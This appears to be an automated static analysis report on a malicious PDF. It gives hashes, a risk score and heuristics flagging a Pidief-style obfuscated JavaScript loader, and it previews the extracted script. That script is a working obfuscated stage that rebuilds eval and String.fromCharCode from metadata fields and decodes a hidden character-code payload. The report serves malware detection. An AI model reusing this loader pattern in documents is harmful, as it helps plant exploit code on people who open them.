Malicious PDF — malware analysis report

Static analysis result for SHA-256 b4ea95dde3b7fe55…

MALICIOUS

PDF

34.7 KB Authoring application: substr First seen: 2026-05-08
MD5: 80a001e98cef06cc29f9663c8cb3e3a4 SHA-1: 0b40a55bd9e0e133495fcf3341a58e484ba51b46 SHA-256: b4ea95dde3b7fe5527f49893e49e90cf9a64c6bc089cfdd8cded6fc9fc07ee03
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0x8858 447 bytes
SHA-256: 0b49c7cfc0404b3cc9af6951d98f326217fe6f95ccd81f32fd59fe84a806ad5f
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='e';
a=c.concat('|','a',"n","b","w",b,"o");
s=a[t.length-2].concat(b,a[2],t[0]);
e=v[v]()[s];
cjc=e(v[4]+'i'.concat(v[4],t));
q=cjc[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.fro';
d+=q;
rvdka=e(d);
q=cjc[v](t.length+12)[v[0]+e(v[0]+'u'+'b'+'jec'+v[4])+'t']('c');
k=q[t[0].concat('en'+'gth')];
i=t.length-2;
while(i<k){
	pjg = 1*(q[i]);
	i++;
	pjg -= (-1)*(q[i]);
	s2 += rvdka(pjg);
	i++;
}
e(s2);

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